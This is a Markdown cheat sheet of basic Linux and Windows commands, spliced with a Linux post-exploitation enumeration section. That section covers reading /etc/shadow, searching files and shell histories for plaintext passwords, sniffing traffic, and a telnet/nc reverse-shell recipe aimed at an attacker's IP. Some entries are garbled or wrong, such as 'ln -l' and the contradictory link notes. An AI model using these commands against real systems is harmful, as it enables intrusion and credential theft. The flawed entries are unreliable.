| File Commands | |
|---|---|
| **cd** | Changes directory |
| **uname -a**<br><br>**lsb_release -a**<br>**uname** | it's showing all details of kernal version or summary of operting system.<br>It's shows LSB – Linux Standard Base<br>it's showing kernal version name |
| **pwd** | Curent directory |
| **ls** | List files in the directory |
| **ls -a** | List all files (shows hidden files) |
| **pwd** | Show directory you are currently working in |
| **mkdir [directory]** | Create a new directory |
| ***rm [file_name] *** | Remove a file |
| **rm -r [directory_name] or**<br>**rmdir [directory_name]** | Remove a directory recursively |
| **rm -rf [directory_name] OR**<br>**rm -rf [directory_name]*** | Recursively remove a directory and files without requiring confirmation |
| **cp [file_name1] [file_name2]** | Copy the contents of one file to another file |
| **cp -r [directory_name1] [directory_name2]** | Recursively copy the contents of one file to a second file |
| **mv [file_name1] [file_name2]** | Rename file name[file_name1] to [file_name2] with the command |
| **mv [filename] /source-path /desti.path** | Move one location to another location |
| **ln -s /path/to/[file_name] [link_name]** | Create a symbolic link or soft link to a file |
| **ln [source.file] [Hardlink.file]** | Hardlink(whereas a hard link is a mirror copy of the original file.)<br>Inode number (11665731 vs 11665731) and file permissions (lrwxrwxrwx vs lrwxrwxrwx) are same.. |
| **ln -l [source.file] [softlink.file]** | Soft Link or Symbolic link soft link is an actual link to the original file.<br>Inode number (11665731 vs 1526692) and file permissions (lrwxrwxrwx vs -rw-r--r--) are different. |
| **ls -il**<br>**ls -i** | Display the file inode(identify number) history of file<br>It's display only inode number |
| **touch [file_name]** | Create a new file |
| **cat [filename]** | It's shows the inside of file |
| **clear** | Clears the screen |
| **Hardware Information** | |
| **dmesg** | Show bootup messages |
| **cat /proc/cpuinfo** | See CPU information |
| **free -h** | Display free and used memory with |
| **df**<br>**df -h** | disk space for file systems usage<br>disk space for file systems human readable format |

| | |
|---|---|
| **du**<br>**du -h** | disk file space usage<br>disk usage human readable format |
| **lshw** | List hardware configuration information |
| **lsblk** | See information about block devices |
| **lspci -tv** | Show PCI devices in a tree-like diagram |
| **lsusb -tv** | Display USB devices in a tree-like diagram |
| **dmidecode** | Show hardware information from the BIOS |
| **hdparm -i /dev/disk** | Display disk data information |
| **hdparm -tT /dev/[device]** | Conduct a read-speed test on device/disk |
| **badblocks -s /dev/[device]** | Test for unreadable blocks on device/disk |
| **Operating System** | |
| **cat /etc/issue**<br>**cat /etc/*-release**<br>**cat /etc/lsb-release** | What's the distribution type? What version? |
| **cat /proc/version**<br>**uname -a**<br>**uname -mrs**<br>**rpm -q kernel**<br>**dmesg \| grep Linux**<br>**ls /boot \| grep vmlinuz-** | **What's the kernel version? Is it 64-bit?** |
| **cat /etc/profile**<br>**cat /etc/bashrc**<br>**cat ~/.bash_profile**<br>**cat ~/.bashrc**<br>**cat ~/.bash_logout**<br>**env**<br>**set** | What can be learnt from the environmental variables |
| **lpstat -a** | Is there a printer? |
| **Applications & Services** | |
| **ps aux**<br>**ps -ef**<br>**top**<br>**cat /etc/services** | What services are running? Which service has which user privilege? |
| **ps aux \| grep root**<br>**ps -ef \| grep root** | Which service(s) are been running by root? Of these services, which are vulnerable |
| **ls -alh /usr/bin/**<br>**ls -alh /sbin/**<br>**dpkg -l**<br>**rpm -qa**<br>**ls -alh /var/cache/apt/archivesO**<br>**ls -alh /var/cache/yum/** | What applications are installed? What version are they? Are they currently running? |
| **cat /etc/syslog.conf**<br>**cat /etc/chttp.conf**<br>**cat /etc/lighttpd.conf**<br>**cat /etc/cups/cupsd.conf** | Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? |

| | |
|---|---|
| **cat /etc/inetd.conf**<br>**cat /etc/apache2/apache2.conf**<br>**cat /etc/my.conf**<br>**cat /etc/httpd/conf/httpd.conf**<br>**cat /opt/lampp/etc/httpd.conf**<br>**ls -aRl /etc/ \| awk '$1 ~ /^.r./** | |
| **crontab -l**<br>**ls -alh /var/spool/cron**<br>**ls -al /etc/ \| grep cron**<br>**ls -al /etc/cron***<br>**cat /etc/cron***<br>**cat /etc/at.allow**<br>**cat /etc/at.deny**<br>**cat /etc/cron.allow**<br>**cat /etc/cron.deny**<br>**cat /etc/crontab**<br>**cat /etc/anacrontab**<br>**cat /var/spool/cron/crontabs/root** | What jobs are scheduled? |
| **grep -i user [filename]**<br>**grep -i pass [filename]**<br>**grep -C 5 "password" [filename]**<br>**find . -name "*.php" -print0 \| xargs -0**<br>**grep -i -n "var $password" # Joomla** | Any plain text usernames and/or passwords? |
| **Communications & Networking** | |
| **/sbin/ifconfig -a**<br>**cat /etc/network/interfaces**<br>**cat /etc/sysconfig/network** | What NIC(s) does the system have? Is it connected to another network? |
| **cat /etc/resolv.conf**<br>**cat /etc/sysconfig/network**<br>**cat /etc/networks**<br>**iptables -L**<br>**hostname**<br>**dnsdomainname** | What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? |
| **lsof -i**<br>**lsof -i  80**<br>**grep 80 /etc/services**<br>**netstat -antup**<br>**netstat -antpx**<br>**netstat -tulpn**<br>**chkconfig --list**<br>**chkconfig --list \| grep 3 on**<br>**last**<br>**w** | What other users & hosts are communicating with the system? |
| **arp -e**<br>**route**<br>**/sbin/route -nee** | What's cached? IP and/or MAC addresses |
| **tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21**<br>**Note  tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]** | Is packet sniffing possible? What can be seen? Listen to live traffic |

| | |
|---|---|
| **Have you got a shell? Can you interact with the system?**<br>**nc -lvp 4444 # Attacker. Input (Commands)**<br>**nc -lvp 4445 # Attacker. Ouput (Results)**<br>**telnet [attackers ip] 44444 \| /bin/sh \| [local ip] 44445 # On the targets system. Use the attackers IP!** | |
| **id**<br>**who**<br>**w**<br>**last**<br>**cat /etc/passwd \| cut -d  -f1 # List of users**<br>**grep -v -E "^#" /etc/passwd \| awk -F '$3 == 0 { print $1}' # List of super users**<br>**awk -F  '($3 == "0") {print}' /etc/passwd # List of super users**<br>**cat /etc/s** | Confidential Information & Users<br>Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? |
| **cat /etc/passwd**<br>**cat /etc/group**<br>**cat /etc/shadow**<br>**ls -alh /var/mail/** | What sensitive files can be found? |
| **ls -ahlR /root/**<br>**ls -ahlR /home/** | Anything "interesting" in the home directorie(s)? If it's possible to access |
| **cat /var/apache2/config.inc**<br>**cat /var/lib/mysql/mysql/user.MYD**<br>**cat /root/anaconda-ks.cfg** | Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords |
| **cat ~/.bash_history**<br>**cat ~/.nano_history**<br>**cat ~/.atftp_history**<br>**cat ~/.mysql_history**<br>**cat ~/.php_history** | What has the user being doing? Is there any password in plain text? What have they been editing? |
| **cat ~/.bashrc**<br>**cat ~/.profile**<br>**cat /var/mail/root**<br>**cat /var/spool/mail/root** | What user information can be found? |
| **wc [filename]** | showing count of the total number of lines, words, and characters contained in a file<br>**output  2  19 103 [filename]**<br>**First Column** – Represents the total number of lines in the file.<br>**Second Column** – Represents the total number of words in the file.<br>**Third Column** – Represents the total number of bytes in the file. This is the actual size of the file.<br>**Fourth Column** – Represents the file name |

| | |
|---|---|
| **ping hostname or ip-address** | Testing, measuring, and managing network OR Tracking and isolating hardware and software problems |
| **nslookup [domain name]** | this command to find the address record for a domain |
| **top** | statistics of CPU utilization by different processes |
| **cat /proc/meminfo** | cpu memeory details |
| **watch -n 1 ls -larth** | watching folder per one second, if you want 5 second change you can do. |
| **sudo update-alternatives --config java** | change your verisoning of java |
| **env** | showing environment variables on your system |
| **netstat -tupln** | Checking the active ports internet connections |
| **whereis [java] or [mvn] or [docker]**<br>**which [java] or [mvn] or [docker]** | It's shows the path of program[java] |
| **head [filename]**<br><br>**head -n 3 opt/[filename]** | It's shows lines from the beginning of a file (the head)<br>It's shows only first 3 lines of file |
| **tail [filename]**<br><br>**tail -n 3 opt/ [filename]** | It's shows lines from the ending of a file (the head)<br><br>It's shows only last(end) 3 lines of file |
| **systemctl start [service]**<br>**systemctl disable [service]**<br>**systemctl stop [service]**<br>**systemctl status [service]** | --> Start [service]<br>--> To permanently disable [service]<br>--> Stop [service]<br>--> To check [service] status |
| **history**<br><br>**history \| tail**<br>**history \| head**<br>**history 25** | all of the last commands that have been recently used.<br>It's shows last used 10 commands<br>It's shows first used 10 commands<br>It's shows last 25 commands |
| **grep** | grep = globally search for regular expression and print out<br>it's search for specified file. |

| **Windows 10 network commands** | |
|---|---|
| **ping [host]; ping www.google.com** | Pinging a host should return four **data packets** |
| **ipconfig** | general information includes IP Addresses for both IPv4 and IPv6 |
| **getmac** | variables and switches. |
| **hostname** | simply display the **current name of your Windows** 10 |
| **nslookup** | displays information that you can use to diagnose **Domain Name System (DNS)** infrastructure |
| **tracert [host]; tracert www.google.com** | handy tool for troubleshooting network connections |
| **netstat** | displays active **TCP connections**, ports on which the **computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics** |
| **arp /a** | Arp displays entries in the **Address Resolution Protocol (ARP) cache** |

| | |
|---|---|
| **pathping [host]; pathring www.google.com** | PathPing **combines the ping command with the tracert command,** providing information about **network latency and network loss at intermediate hops between a source and destination** |
| **SystemInfo** | displays a detailed list of **configuration information** of PC |